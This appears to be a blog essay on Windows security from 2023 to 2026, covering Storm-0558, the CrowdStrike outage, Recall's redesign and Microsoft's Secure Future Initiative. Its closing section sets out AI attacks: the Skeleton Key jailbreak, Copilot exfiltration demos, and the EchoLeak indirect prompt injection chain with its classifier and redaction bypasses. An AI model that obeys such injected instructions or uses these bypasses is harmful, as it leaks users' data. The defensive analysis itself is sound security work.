Parag Mali - tag: recall

The Layer Above the OS: The Windows Security Wars Part 6 (2023-2026)

noreply@paragmali.com (Parag Mali) — Sat, 30 May 2026 00:00:00 GMT

**Three failures. Three soft layers. One era.** Between 2023 and 2026, Microsoft publicly admitted that the largest attack surface on a modern Windows machine is no longer the OS itself -- it is the third-party kernel-mode security vendor, the institution's own identity-token custody, and the AI feature plane sitting on top of both.

Storm-0558 forged enterprise Exchange tokens with a 2016 consumer signing key. CrowdStrike's July 19, 2024 outage bricked roughly 8.5 million Windows hosts in ninety minutes -- no attacker, no exploit, just twenty bytes of bad data in a sanctioned kernel driver. The Recall saga proved that VBS, TPM, and DPAPI do not know how to enforce policy on what an AI agent decides to do next.

Microsoft's reply is the Secure Future Initiative, the Windows Endpoint Security Platform, and the April 14, 2026 Cross-Signing trust deprecation -- the first sustained engineering re-architecture of all three soft spots in parallel. Whether the response lands before the 2026 ransomware wave is the open forward question.

1. Twenty Bytes at 04:09 UTC

At 04:09 UTC on July 19, 2024, a CrowdStrike Falcon sensor running on roughly 8.5 million Windows hosts pulled a routine Rapid Response Content update [@ms-weston-jul20-2024] -- Channel File 291, twenty-one input fields where the in-kernel Content Interpreter expected twenty, the twenty-first treated as an address the kernel was never meant to follow [@crowdstrike-rca-pdf] -- and the world's airline desks, hospital admissions systems, and emergency dispatch terminals began the bluest morning in the history of the NT kernel. No attacker was involved. No exploit ran. A non-malicious data-parsing defect inside a sanctioned, signed, kernel-mode third-party security driver took down a sovereign country's flight network in ninety minutes [@ms-jul27-2024-security-tools] because the operating system, twenty-five years earlier, had agreed to let security vendors run there [@theregister-2006-vista].

Three months before that morning, the United States Cyber Safety Review Board had published a different verdict on a different vendor failure. Its review of the summer 2023 Microsoft Exchange Online intrusion -- the Storm-0558 episode in which a Chinese threat actor forged Outlook tokens against enterprise Exchange Online using a 2016 consumer-tier Microsoft Account signing key -- concluded that the breach was "preventable and should never have occurred" and that "Microsoft's security culture was inadequate and requires an overhaul" [@csrb-2024]. The CSRB had only reviewed two prior incidents [@dhs-press-2024]; the third reviewed company was the steward of the world's most widely deployed operating system.

Ten weeks after the Storm-0558 verdict, on June 13, 2024, Microsoft's group product manager for Windows quietly added an in-place editor's note to a blog post he had published six days earlier. The note pulled the company's flagship Copilot+ PC AI feature, Recall, from a planned ship date of June 18, 2024 -- five days before launch -- and shifted it to the Windows Insider Program [@recall-davuluri-jun7-2024].

Note: This is the sixth installment of The Windows Security Wars. Earlier parts walked BitLocker, Credential Guard, VBS, Pluton, and the Defender-and-WDAC arc that produced the modern Windows security baseline. This part picks up where Part 5 left off and argues that the era's actual story is what happens above that baseline.

Three failures, three soft layers, one era -- and the 2023-2026 chapter is the first in NT's history in which the layer above the OS (the institution's own identity-token custody, the third-party kernel-mode security vendor, and the AI feature application plane) became the load-bearing security boundary under public scrutiny while the OS layer itself kept hardening. David Weston's July 20, 2024 post framed the 8.5 million figure as "less than one percent of all Windows machines" [@ms-weston-jul20-2024]. The number itself is sourced from Windows Error Reporting crash dumps and customer telemetry, so machines stuck in a boot loop with no network or with WER disabled are not counted; treat it as a credible lower bound rather than a full census [@wiki-crowdstrike-outage]. The framing is correct and worth holding onto: this is a story about which 1% mattered, not about the platform's defect rate. To see why that is an architectural inflection rather than a coincidence of three bad years, we have to walk the prior arcs the three events belong to.

2. Three Lineages Converging

The era did not begin in June 2023. Three long-running arcs converged on the 2023-2026 chapter, and each event in the opening is the latest generation of one of them.

Lineage 1: Identity-authority forgery

The first lineage is the oldest. In 1997, a researcher known as Hobbit, distributing through the Avian Research mailing list, documented that Windows CIFS authentication could be replayed with the password hash rather than the password itself. Microsoft's own Mitigating Pass-the-Hash and Other Credential Theft whitepaper, in its 2014 second edition, treats the Hobbit observation as the foundational primitive for the entire credential-theft family [@ms-pth-whitepaper]. In 2014, Benjamin Delpy stood up at Black Hat USA and demonstrated that the Active Directory KRBTGT account's long-lived signing key, once stolen, let an attacker mint Kerberos tickets for any user, including domain administrators -- the "Golden Ticket" attack, packaged into the mimikatz toolchain [@delpy-bh-slides] [@mimikatz-github]. In 2017, CyberArk's Shaked Reiner extended the same idea to SAML identity providers: steal the IdP's signing certificate and mint cross-application tokens at will [@cyberark-golden-saml]. In December 2020, FireEye and Microsoft together disclosed that a sophisticated nation-state actor had compromised the upstream SolarWinds build process and minted trusted certificates with that compromise [@mandiant-fireeye] [@msrc-solarwinds-2020].

In June 2023, Storm-0558 widened the trust domain again. The forged tokens were signed by a consumer-tier Microsoft Account key issued in April 2016 [@wiz-storm0558], but the tokens worked against enterprise Exchange Online inboxes [@mstic-storm0558-jul14-2023]. Each generation of this lineage widens the issuer domain by one level: from one user's hash, to one directory's ticket-signing key, to one IdP's SAML key, to one supply chain's signing certificate, to one cloud provider's consumer signing key crossing into its enterprise trust boundary.

flowchart LR A["1997: Pass-the-Hash, Hobbit"] --> B["2014: Golden Ticket, Delpy"] B --> C["2017: Golden SAML, Reiner"] C --> D["2020: Sunburst supply chain, FireEye and Microsoft"] D --> E["2023: Storm-0558 cross-tier MSA key"]

Lineage 2: Third-party AV in the kernel

The second lineage runs in parallel. In the late 1990s, anti-virus drivers on Windows NT loaded unsigned and hooked the kernel directly through the System Service Descriptor Table. PatchGuard arrived first, shipping in April 2005 with Windows XP Professional x64 Edition and Windows Server 2003 SP1 x64; it policed the integrity of protected kernel structures so SSDT hooking could no longer survive [@patchguard-2005-history]. Eighteen months later, Vista x64 made Kernel-Mode Code Signing (KMCS) mandatory: every kernel driver now had to chain to a trusted Authenticode certificate [@kmcs-policy-docs] [@msrc-vista-2005-kernelmode]. The combined effect landed at scale with Vista x64, because that was the release in which unsigned x64 kernel code stopped loading by default.

The Windows policy, introduced with x64 editions of Vista, that requires every kernel-mode driver to be signed by a certificate chaining to a Microsoft-trusted root. The Cross-Signing Program let third-party certificate authorities issue compatible certificates; the Windows Hardware Compatibility Program (WHCP) is the modern submission path.

The AV industry pushed back. McAfee, Symantec, and Kaspersky argued publicly through 2006-2009 that PatchGuard amounted to an antitrust violation, since Microsoft's own Defender ran where they were now locked out [@theregister-2006-vista] [@msnews-2006-collab]. The EU-mediated settlement that followed produced the substrate of what eventually became the Microsoft Virus Initiative (MVI) -- a sanctioned set of kernel-access patterns and APIs that third-party AV vendors could use [@mvi-criteria].

Microsoft's program for vetting third-party endpoint security vendors that ship code into Windows. Membership requires meeting Microsoft-defined product and testing criteria. MVI is the institutional residue of the 2006-2009 antitrust settlement that produced today's third-party-AV-in-kernel model.

By the early 2020s, the visible failure mode of the kernel-resident AV class had become BYOVD ("bring your own vulnerable driver") attacks, in which an attacker loaded a signed-but-buggy legitimate driver as a privilege-escalation primitive. Microsoft's response was the Vulnerable Driver Blocklist, default-on in Windows 11 22H2 [@driver-block-rules]. That settled the malicious-vendor case. It did not settle the failure mode CrowdStrike would demonstrate in 2024.

Lineage 3: AI as a security boundary

The third lineage is the youngest. Windows Hello, launched with Windows 10 in 2015, was the first widely deployed Windows feature whose security decisions depended on a statistical classifier -- the biometric matcher that decided whether the face in front of the camera matched the enrolled template [@hello-for-business]. Defender's machine-learning detection components and Edge's SmartScreen reputation engine extended the same pattern through 2017-2020: statistical scoring as one input to a security decision. Microsoft 365 Copilot, launched in 2023, moved the statistical surface deeper into the trust model by letting an LLM execute actions on a user's behalf inside the tenant.

On May 20, 2024, the Copilot+ PC class moved the statistical surface onto the local device with a programmable NPU and a flagship feature, Recall, designed to take screenshots of everything on screen and index them for semantic search [@copilot-pcs-may-20]. Recall would force the question the prior generation had merely circled: is the AI agent's judgment a security boundary, and if so, what enforces it?

All three lineages reach their newest soft layer in the same three-year window. The next question is whether each soft layer was equally well defended on the morning of June 15, 2023 -- the morning the United States State Department's GCC-High security operations center pulled the audit-log query that flagged the Storm-0558 token misuse [@csrb-2024].

3. Pre-CSRB Posture and Storm-0558

On the morning of June 15, 2023, Microsoft's security posture looked complete. A decade of methodical work had pushed the platform's boundary primitives downward and outward: BitLocker, Credential Guard, VBS, HVCI, Pluton; Smart App Control; Continuous Access Evaluation; Defender for Endpoint as a managed cloud service. The operating assumption was that the platform was the boundary worth defending and that the institution sat above the boundary as a trusted operator. By the close of business that day, the assumption was wrong, and the State Department's GCC-High SOC was about to be the first organization on the planet to find out. Per the CSRB report (page 11), Microsoft was notified on June 16, 2023 [@csrb-2024].

The Storm-0558 forgery primitive worked because four independent decisions, each defensible in isolation, had aligned across six years.

The four pre-conditions

The first pre-condition was an unrotated 2016 MSA consumer signing key. Wiz Research's reconstruction of the published JWKS history shows the certificate was issued April 5, 2016 and expired April 4, 2021; the key continued to be trusted by at least one Outlook Web Access validator after expiry [@wiz-storm0558].

The second pre-condition was software-resident custody at the moment of key acquisition. The MSA signing service was not in a hardware security module at the time; only after the April 2025 Secure Future Initiative progress report did Microsoft confirm that MSA and Entra ID signing keys had been moved to hardware-backed security modules with automatic rotation and that the MSA signing service itself had been migrated to Azure Confidential VMs [@sfi-apr-2025].

The third pre-condition was a converged OWA token validator that accepted tokens signed by either MSA or Entra ID issuers. The September 2018 metadata-endpoint convergence had been a developer-experience decision that worked correctly; the failure was a later OWA migration onto that endpoint without adding the cross-tier guard.

The fourth was a missing issuer and audience check on the OWA validation path. Microsoft's September 6, 2023 root cause statement, later edited in place on March 12, 2024, is unambiguous: "developers in the mail system incorrectly assumed libraries performed complete validation and did not add the required issuer/scope validation" [@msrc-storm0558-key-acq].

flowchart TD A["2016 MSA signing certificate issued"] --> E["Forgery primitive"] B["Software-resident key custody"] --> E C["Converged MSA plus Entra ID validator endpoint"] --> E D["OWA path missing iss and aud validation"] --> E E --> F["Forged tokens accepted by enterprise Exchange Online"]

The combination produced a forgery primitive that worked at nation-state scale. The CSRB tallied the victims: 22 enterprise organizations, approximately 503 personal accounts, and roughly 60,000 emails from 10 State Department accounts [@csrb-2024]. The CSRB's April 2, 2024 verdict, on page ii of the public report, is the load-bearing sentence of the era and is reproduced verbatim in the PullQuote below [@csrb-2024]. The report was the third the Board had completed since its February 2022 announcement [@dhs-press-2024]; the prior two had reviewed Log4j and Lapsus$, neither of which was a single-vendor failure of the same kind [@thehackernews-csrb] [@cybersecuritydive-csrb].

A United States public-private review board, modeled loosely on the National Transportation Safety Board, that conducts after-action reviews of consequential cybersecurity incidents. The CSRB has no enforcement authority; its product is a public report with recommendations. The consumer-tier identity tenant that backs personal Outlook, OneDrive, Xbox, and similar consumer services. Its canonical tenant GUID at the OpenID Connect discovery endpoint is `9188040d-6c67-4c5b-b112-36a304b66dad` [@msa-oidc-discovery]. The Storm-0558 forgery primitive used an MSA-issued signing key against an enterprise Exchange Online validator that did not reject the consumer-tier issuer. This intrusion was preventable and should never have occurred... Microsoft's security culture was inadequate and requires an overhaul. -- United States Cyber Safety Review Board, *Review of the Summer 2023 Microsoft Exchange Online Intrusion*, April 2, 2024 [@csrb-2024].

Note: Microsoft's September 6, 2023 post initially hypothesized that the MSA key had been extracted from a 2021 crash dump. On March 12, 2024 Microsoft edited the post in place with a verbatim note: "the actor access may have resulted from a crash dump in 2021, but we have not found a crash dump containing the impacted key material" [@msrc-storm0558-key-acq]. The CSRB report (page 17) is equally explicit: "Microsoft has been unable to determine how or when Storm-0558 obtained the MSA key" [@csrb-2024]. Any account that asserts the crash-dump path as fact is reading a retracted hypothesis as confirmed history.

The validation step Microsoft says was missing on the OWA path is not exotic: RFC 8725, the IETF's JSON Web Token best current practices, treats issuer and audience checks as baseline obligations [@rfc-8725]. The browser-runnable snippet below shows the shape of the check the OWA validator skipped.

{` const consumerTenantGuid = "9188040d-6c67-4c5b-b112-36a304b66dad"; const token = { iss: "login.microsoftonline.com/" + consumerTenantGuid + "/v2.0", aud: "outlook.office.com", sub: "victim@statedept.example", };

function validate(token, expectedIssuer, expectedAudience) { if (token.iss !== expectedIssuer) return "reject: wrong issuer"; if (token.aud !== expectedAudience) return "reject: wrong audience"; return "accept"; }

// What the OWA path should have done for enterprise mailboxes const enterpriseTenantGuid = "your-enterprise-tenant-guid"; const enterpriseIssuer = "login.microsoftonline.com/" + enterpriseTenantGuid + "/v2.0"; console.log(validate(token, enterpriseIssuer, "outlook.office.com")); `}

Storm-0558 was the first half of the proof: the layer above the OS -- Microsoft's own identity-token custody -- is a soft layer. The second half arrived almost exactly one year later, on July 19, 2024. Before walking that morning, we have to walk the institutional response Microsoft launched in the four months between the two events, because the response is what the rest of the article evaluates.

4. Five Threads Across 2023-2026

The 2023-2026 era has five parallel storylines. They have to be walked as concurrent, not sequential, because the era's institutional fact is that all five moved at once and reinforced each other.

4.1 The CSRB and the Secure Future Initiative

Microsoft's response to Storm-0558 began five months before the CSRB ruled the breach preventable and continued for two years after. On November 2, 2023, Microsoft Vice Chair and President Brad Smith published a post on the company's On the Issues blog announcing the Secure Future Initiative (SFI). The original framing had three pillars: AI-based cyber defenses, advances in fundamental software engineering, and advocacy for international norms [@sfi-nov-2023].

Two events between November 2023 and May 2024 forced a reframing. The first was the January 2024 Midnight Blizzard disclosure -- the Russian SVR-linked actor that compromised Microsoft corporate email through a legacy test tenant. The second was the April 2, 2024 CSRB verdict. On May 3, 2024, in an unusual move, Microsoft Chairman and CEO Satya Nadella wrote directly to employees and posted the memo publicly: "I want to talk about something critical to our company's future: prioritizing security above all else... we will commit the entirety of our organization to SFI" [@sfi-may3-2024-nadella]. The Microsoft Security blog technical companion the same day reframed SFI as three principles (Secure by Design, Secure by Default, Secure Operations) and six pillars (Protect Identities and Secrets, Protect Tenants and Isolate Production Systems, Protect Networks, Protect Engineering Systems, Monitor and Detect Threats, Accelerate Response and Remediation) [@sfi-may3-2024-secblog].

On June 13, 2024, in front of the House Committee on Homeland Security, Brad Smith said the sentence that anchors Microsoft's post-CSRB posture: "Microsoft accepts responsibility for each and every one of the issues cited in the CSRB's report. Without equivocation or hesitation. And without any sense of defensiveness" [@smith-house-testimony-jun-2024] [@ms-on-issues-jun-2024].

Microsoft accepts responsibility for each and every one of the issues cited in the CSRB's report. Without equivocation or hesitation. And without any sense of defensiveness. -- Brad Smith, June 13, 2024, before the House Committee on Homeland Security [@smith-house-testimony-jun-2024].

The progress reports that followed quantified the institutional commitment. The September 23, 2024 update is the first to use Microsoft's signature phrase: "we have dedicated the equivalent of 34,000 full-time engineers to SFI -- making it the largest cybersecurity engineering effort in history" [@sfi-sept-2024]. The same post is the first to link senior leadership compensation to security outcomes and to formalize the Cybersecurity Governance Council and Deputy CISO structure. The April 21, 2025 progress report reports that MSA signing keys had been moved to hardware-backed security modules with automatic rotation, the MSA signing service had been migrated to Azure Confidential VMs, and identity-SDK validation for Microsoft's own apps had moved from 73% to 90% [@sfi-apr-2025]. The November 10, 2025 Windows-and-Surface-specific SFI report introduced the Hotpatch metric -- 81% of enrolled devices compliant within 24 hours of Patch Tuesday -- and announced the Rust rewrite of Surface UEFI firmware and Windows drivers, paired with the Open Device Partnership opening those Rust drivers to OEM partners [@sfi-nov-2025-windows].

Microsoft's "34,000 full-time engineers" wording is an FTE-equivalent calculation, not a literal headcount [@sfi-sept-2024]. The April 2025 report rephrases it as "34,000 engineers working full-time for 11 months" [@sfi-apr-2025], which is the same arithmetic in a more honest grammar.

SFI report	Identity-SDK validation	Signing-key custody	Audit-log retention	Hardware and firmware	Employee and exec ties
Nov 2, 2023 [@sfi-nov-2023]	Not yet reported	Pre-Storm-0558 baseline	Pre-incident baseline	Not in scope	Three pillars framing only
Sept 23, 2024 [@sfi-sept-2024]	Reported, no number	Azure Managed HSM with automatic rotation	2-year retention committed	Pluton firmware over OS channel	Senior leadership compensation tied; Cybersecurity Governance Council
Apr 21, 2025 [@sfi-apr-2025]	90% (up from 73%)	MSA service in Azure Confidential VMs; Entra ID migration in progress	2-year retention live	Pluton across all three x86 vendors	Continuing
Nov 10, 2025 [@sfi-nov-2025-windows]	Continuing	Continuing	Continuing	Surface UEFI and Windows drivers in Rust; Open Device Partnership	95% of employees completing AI-attack training

SFI is the first time a platform vendor has publicly tied executive compensation, two years of audit-log retention, the equivalent of 34,000 full-time engineers, a Rust rewrite of UEFI firmware and Windows drivers, and a sustained cross-progress-report measurement program to the explicit premise that the vendor's own security culture is part of the platform's attack surface. That is the institutional half of the thesis.

On the very day Brad Smith's House testimony committed Microsoft to the SFI roadmap, an entirely different soft layer -- one that had nothing to do with identity-token custody -- had already failed quietly. That morning's failure is the second thread.

4.2 Recall as the AI-feature security-review worked example

The second thread arrived from an unexpected direction. On the same June 13, 2024 that Brad Smith committed Microsoft to the SFI roadmap, Microsoft pulled its flagship Copilot+ PC AI feature five days before launch over a structural problem in its own threat model. The feature was Recall. The timeline that followed is the worked example of what post-SFI AI-feature security review looks like under sustained adversarial pressure.

On May 20, 2024, Yusuf Mehdi announced Copilot+ PCs with a 40+ TOPS NPU minimum and Recall as the flagship feature [@copilot-pcs-may-20]. Recall's Generation-1 design was simple: take a screenshot of the user's screen at intervals, extract text and entities with on-device AI, and store the result in an SQLite database protected by AES-128-XTS volume encryption plus filesystem ACLs scoped to the user. The "Recall is not shared with anyone" framing implied a clean trust boundary. It was wrong.

On May 28, 2024, the Swiss researcher Alexander Hagenah (@xaitax) released TotalRecall, a proof-of-concept extractor that walked the SQLite store with the user's own privileges and dumped every snapshot [@totalrecall-github]. Two days later, Kevin Beaumont's DoublePulsar post amplified the threat model into the community's consciousness with the line that defined the news cycle: "Recall enables threat actors to automate scraping everything you have ever looked at within seconds" [@beaumont-doublepulsar] [@helpnetsecurity-totalrecall]. On June 3, 2024, Google Project Zero's James Forshaw published the structural-bound observation that the rest of the Recall story would have to live with: "Spoiler, it is only protected through being ACL'ed to SYSTEM and so any privilege escalation (or non-security boundary cough) is sufficient to leak the information" [@forshaw-acl-jun3-2024]. The parenthetical pointed at Microsoft's own Security Servicing Criteria for Windows, which treats same-user post-authentication as not a security boundary [@msrc-servicing-criteria].

Spoiler, it is only protected through being ACL'ed to SYSTEM and so any privilege escalation (or non-security boundary *cough*) is sufficient to leak the information. -- James Forshaw, Google Project Zero, June 3, 2024 [@forshaw-acl-jun3-2024].

On June 7, 2024, Pavan Davuluri posted a Generation-2 commitment: Recall would be default-off, gated by Windows Hello Enhanced Sign-in Security, and would use just-in-time decryption [@recall-davuluri-jun7-2024]. On June 13, 2024, in an in-place edit to the same post, Davuluri pulled Recall from the planned June 18, 2024 Copilot+ PC ship date and moved it into the Windows Insider Program [@recall-davuluri-jun7-2024]. On September 27, 2024, Davuluri posted the Generation-3 architecture: "Encryption keys are protected via the Trusted Platform Module (TPM), tied to a user's Windows Hello Enhanced Sign-in Security identity, and can only be used by operations within a secure environment called a Virtualization-based Security Enclave (VBS Enclave)" [@recall-davuluri-sept27-2024]. Recall returned to Insiders on November 22, 2024, expanded to AMD and Intel Copilot+ silicon in spring 2025, and reached general availability on May 13, 2025 [@recall-manage-docs].

A user-mode trustlet that runs inside Virtual Trust Level 1 -- the same isolated environment used by Credential Guard and the Secure Kernel -- with an attested code identity, so that code outside the enclave (including a compromised normal-world kernel) cannot read enclave memory [@vbs-enclaves-docs]. Recall's Generation-3 design uses a VBS Enclave to perform decryption with TPM-bound keys gated by Windows Hello ESS [@recall-davuluri-sept27-2024] [@hello-ess-docs]. flowchart LR subgraph G1 ["Generation 1 (May 20, 2024)"] A1["Screenshots"] --> B1["Plaintext SQLite"] B1 --> C1["Filesystem ACL to user"] C1 --> D1["Any user-mode process reads"] end subgraph G3 ["Generation 3 (Sept 27, 2024)"] A3["Screenshots"] --> B3["AES-encrypted snapshot"] B3 --> C3["VBS Enclave decrypts in VTL1"] C3 --> D3["TPM key release"] D3 --> E3["Windows Hello ESS gate"] E3 --> F3["UI plane render"] end

Generation	Key storage	Decrypt gate	Trust boundary	Known public attack	Status
Gen 1 (May 20, 2024)	Software, filesystem ACL	Logon	Same user account	TotalRecall, May 28, 2024 [@totalrecall-github]	Withdrawn
Gen 2 (Jun 7, 2024)	Default-off, just-in-time decrypt	Hello ESS	Same user account	Not shipped	Withdrawn before June 18 [@recall-davuluri-jun7-2024]
Gen 3 (Sept 27, 2024)	TPM-bound, VBS Enclave [@recall-davuluri-sept27-2024]	Hello ESS plus enclave attestation	Enclave with attested identity	TotalRecall Reloaded, April 2026 -- standard-user COM and DLL injection against AIXHost.exe [@itnews-totalrecall-reloaded]	GA May 13, 2025 [@recall-manage-docs]

Recall is *not* the first Microsoft product to ship on VBS Enclaves. SQL Server 2019 Always Encrypted with secure enclaves, generally available November 4, 2019, is the substrate precedent and used the same VTL1 trustlet pattern Recall inherits [@sql-always-encrypted-enclaves]. The correct narrow claim is that Recall is the first VBS-Enclave deployment in the *Windows desktop shell* to face sustained adversarial review by named external researchers.

Note: Both the June 18, 2024 Copilot+ PC ship date and the October 1, 2024 broad-SKU 24H2 RTM date passed without Recall. Recall reached general availability on May 13, 2025 [@recall-manage-docs]. The "24H2 launched with Recall" framing repeated in secondary press is a marketing-cycle compression error; primary sources rule it out.

The April 2026 TotalRecall Reloaded disclosure closed the loop. Hagenah did not attack Recall's encryption, which he described as sound, or the VBS enclave, which he called "rock solid." He attacked the AIXHost.exe process that decrypts and renders the timeline for the user, using a standard-user COM and DLL injection chain. Microsoft determined that the technique "operates within the current, documented security design of Recall" [@itnews-totalrecall-reloaded]. The vault is solid; the delivery truck is, by design, not.

Recall demonstrated that the AI-feature application plane is a third soft layer, distinct from both identity-token custody and third-party kernel drivers. But the most measurable failure of the era did not involve an AI feature, an attacker, or an exploit. It involved twenty bytes.

4.3 CrowdStrike and the road to WESP

The third thread is the load-bearing one. A non-malicious data-parsing bug in a third-party kernel driver -- no attacker involved -- bricked roughly 8.5 million Windows hosts because the OS layer had given that third-party vendor kernel privilege. This is the failure mode the 2006-2009 EU-engagement settlement never stress-tested.

CrowdStrike's August 6, 2024 External Technical Root Cause Analysis names the mechanism precisely. Falcon ships two kinds of detection updates: signed Sensor Content shipped infrequently with the sensor itself, and Rapid Response Content shipped multiple times per day as data files interpreted by an in-kernel Content Interpreter. On July 19, 2024 at 04:09 UTC, CrowdStrike pushed Channel File 291, an IPC Template Instance file used by the Inter-Process Communication template type. The Content Interpreter expected 20 input parameters; the file provided 21. The mismatch produced an out-of-bounds memory read in csagent.sys. The kernel page fault that followed was logged by Microsoft's own incident analysis at nt!KiPageFault+0x369 with a csagent+0xe14ed faulting instruction address [@crowdstrike-rca-pdf] [@crowdstrike-exec-summary] [@ms-jul27-2024-security-tools].

CrowdStrike's term for the Rapid Response Content delivery unit -- a data file interpreted at runtime by the in-kernel Content Interpreter inside the Falcon sensor. Channel files are not driver binaries and do not go through KMCS; they configure the behavior of a driver that is already loaded [@crowdstrike-rca-pdf]. sequenceDiagram participant Cloud as CrowdStrike cloud participant Sensor as Falcon sensor (csagent.sys) participant CI as In-kernel Content Interpreter participant Kernel as NT kernel Cloud->>Sensor: Push Channel File 291 (IPC Template Instance) Sensor->>CI: Load 21 input parameters Note over CI: Expected 20 parameters, got 21 CI->>CI: Index past array bound CI->>Kernel: OOB read at csagent+0xe14ed Kernel->>Kernel: nt!KiPageFault+0x369 Kernel->>Sensor: BSOD across 8.5M hosts

The scale was unambiguous. David Weston's July 20, 2024 post put the number at "8.5 million Windows devices, or less than one percent of all Windows machines," and noted that the "broad economic and societal impacts reflect the use of CrowdStrike by enterprises that run many critical services" [@ms-weston-jul20-2024]. Delta Air Lines cancelled approximately 7,000 flights between July 19 and July 25 -- a figure the carrier's May 2025 lawsuit filings and contemporaneous reporting both anchor to [@wiki-crowdstrike-outage]. Parametrix estimated the direct losses to US Fortune 500 companies alone at roughly 5.4 billion dollars [@cso-hints-kernel].

Microsoft's response over the next nineteen months was a paced institutional walk away from the 2006-2009 settlement, framed publicly as resilience rather than retreat. On September 10, 2024, Microsoft hosted the Windows Endpoint Security Summit at Redmond with eight MVI vendors in attendance [@ms-securityweek-wesp]. David Weston's September 12, 2024 post captured the framing: "endpoint security vendors and government officials from the U.S. and Europe... strategies for improving resiliency and protecting our mutual customers' critical infrastructure" [@weston-sept12-2024-wess]. On November 19, 2024 at Ignite, Microsoft publicly named the Windows Resiliency Initiative [@thehackernews-crowdstrike-rca] [@ms-securityweek-wesp].

On June 26, 2025, the Windows Experience blog made the load-bearing commitment that re-opened the kernel-residency question: "Next month, we will deliver a private preview of the Windows endpoint security platform to a set of MVI partners. The new Windows capabilities will allow them to start building their solutions to run outside the Windows kernel. This means security products like anti-virus and endpoint protection solutions can run in user mode just as apps do" [@wri-jun26-2025]. The private preview opened in July 2025 to Bitdefender, CrowdStrike, ESET, SentinelOne, Sophos, Trellix, Trend Micro, and WithSecure [@ms-securityweek-wesp] [@heise-resilient-windows].

The Windows-supplied user-mode API surface for endpoint security vendors announced at Microsoft Build 2025 and opened to MVI 3.0 partners in private preview in July 2025 [@wri-jun26-2025]. WESP separates kernel-resident event collection (owned by Windows) from vendor-owned policy evaluation (run in a tamper-protected user-mode service). It is the architectural answer to the failure mode CrowdStrike demonstrated -- a vendor data-parsing bug can no longer take the kernel down with it.

In parallel, Microsoft began closing the legacy escape hatch. On March 26, 2026, Microsoft IT Pro group program manager Peter Waxman posted "Advancing Windows driver security: Removing trust for the cross-signed driver program," announcing that the April 14, 2026 Windows security update would remove trust for the cross-signed driver program in evaluation mode on Windows 11 24H2, 25H2, 26H1, and Server 2025 [@techcommunity-cross-signing]. The April 14, 2026 driver-protection KB followed, blocking the psmounterex.sys family as the first named exemplar [@april-2026-driver-kb]. Industry coverage framed the move as "closing a 20-year-old critical security hole" [@computerworld-cross-signing] [@techpowerup-cross-signing] [@cybersecuritynews-cross-signing]; the Custom Kernel Signers feature in Application Control for Business is the escape hatch Microsoft preserved for organizations that legitimately need to sign internal kernel drivers, with the Windows Hardware Compatibility Program as the canonical path [@custom-kernel-signers].

The legacy KMCS trust path, introduced in the early 2000s, that let third-party certificate authorities issue Windows-trusted code-signing certificates for kernel drivers. Because developers managed their own private keys, the program became a frequent target for credential theft and rootkit deployment [@cybersecuritynews-cross-signing]. The April 14, 2026 Windows update removes trust for cross-signed drivers in evaluation mode, leaving WHCP as the canonical submission path.

Note: Microsoft has not publicly committed to a hard "AV kernel-driver ban" date. The April 2026 update is a driver-loading-policy change with a Code Integrity-anchored evaluation window (100 runtime hours plus 2 or 3 restarts before policy activates) [@techcommunity-cross-signing], not a categorical AV kernel-driver eviction. WHCP-certified kernel drivers continue to load. Conflating WESP with the Cross-Signing trust deprecation is a recurring citation-audit failure: they are separate primitives that are part of the same multi-year transition.

If the OS layer kept hardening while the layer above became the soft spot, the AI agent layer is the youngest version of the same pattern -- and the era is producing its first CVE-grade exemplars in real time.

4.4 AI threat-model arrivals

The fourth thread is the youngest. By mid-2024 the agentic-AI persistence catalog was beginning to populate in the CVE database, and Microsoft, Apple, Google, and Anthropic were converging on a structural admission: no existing operating-system primitive knows how to enforce policy on an AI agent's judgment.

The substrate arrived in pieces. May 20, 2024 brought the Copilot+ PC announcement and the NPU as a programmable local surface [@copilot-pcs-may-20]. June 10, 2024 brought Apple's Private Cloud Compute design paper, whose five core requirements -- stateless computation, enforceable guarantees, no privileged runtime access, non-targetability, and verifiable transparency -- now anchor every "what would attested AI infrastructure look like" conversation in the industry [@apple-pcc]. June 26, 2024 brought Microsoft's first public write-up of a multi-turn jailbreak class -- Skeleton Key, originally demonstrated by Mark Russinovich at Microsoft Build 2024Russinovich's stage demo called the technique "Master Key"; the MSRC blog renamed it "Skeleton Key" for public disclosure on June 26, 2024 [@ms-skeleton-key]. -- and the corresponding Prompt Shields mitigation in Azure AI Content Safety [@ms-skeleton-key] [@jailbreak-detection-shields]. August 8, 2024 brought Michael Bargury's Black Hat USA sessions "15 Ways to Break Your Copilot" and "Living off Microsoft Copilot," where Bargury demonstrated SharePoint-RAG-grounded exfiltration chains and the LOLCopilot tool that used a victim's own Copilot to write spear-phishing email in the victim's writing style [@mbgsec-bargury-pdf] [@thurrott-bargury] [@theregister-bargury].

The CVE catalog populated through 2025-2026. The single most consequential entry is EchoLeak (CVE-2025-32711) -- a single-email, zero-click data-exfiltration chain against Microsoft 365 Copilot disclosed by Aim Labs in June 2025 [@aim-labs-echoleak] [@nvd-cve-32711]. SecurityWeek's reporting captures the structural achievement: "In order to execute an EchoLeak attack, the attacker has to bypass several security mechanisms, including cross-prompt injection attack (XPIA) classifiers" [@securityweek-echoleak]. Sentra's reconstruction enumerates the four bypasses: the XPIA classifier was evaded by phrasing the malicious instructions as if addressed to the human recipient; Copilot's link-redaction was circumvented with reference-style Markdown; the email client's automatic image pre-fetch was used to trigger an exfiltration request; and Microsoft Teams' asynchronous preview API -- an allowed domain under Copilot's Content Security Policy -- was used to proxy the exfiltrated data to the attacker [@sentra-echoleak]. Microsoft classified the vulnerability "critical" with CVSS 9.3 and patched it server-side with no customer action required [@checkmarx-echoleak] [@securityweek-echoleak].

flowchart TD A["Attacker email lands in user inbox"] --> B["XPIA classifier bypass via direct-to-user phrasing"] B --> C["RAG retrieval pulls email into Copilot context"] C --> D["Markdown reference-style link bypass of redaction"] D --> E["Automatic image pre-fetch triggers exfiltration request"] E --> F["Teams preview API as allowed CSP domain proxies data"] F --> G["Attacker receives sensitive M365 content"] Per OWASP LLM01, the class of attacks in which adversary-controlled text fed into a large language model causes the model to take an action the system designer did not intend [@owasp-llm-top10]. Indirect prompt injection is the subclass in which the malicious text reaches the model through retrieved context (RAG, web fetch, email body) rather than the user's prompt directly. EchoLeak is the canonical indirect-prompt-injection chain against an LLM-application-layer agent.

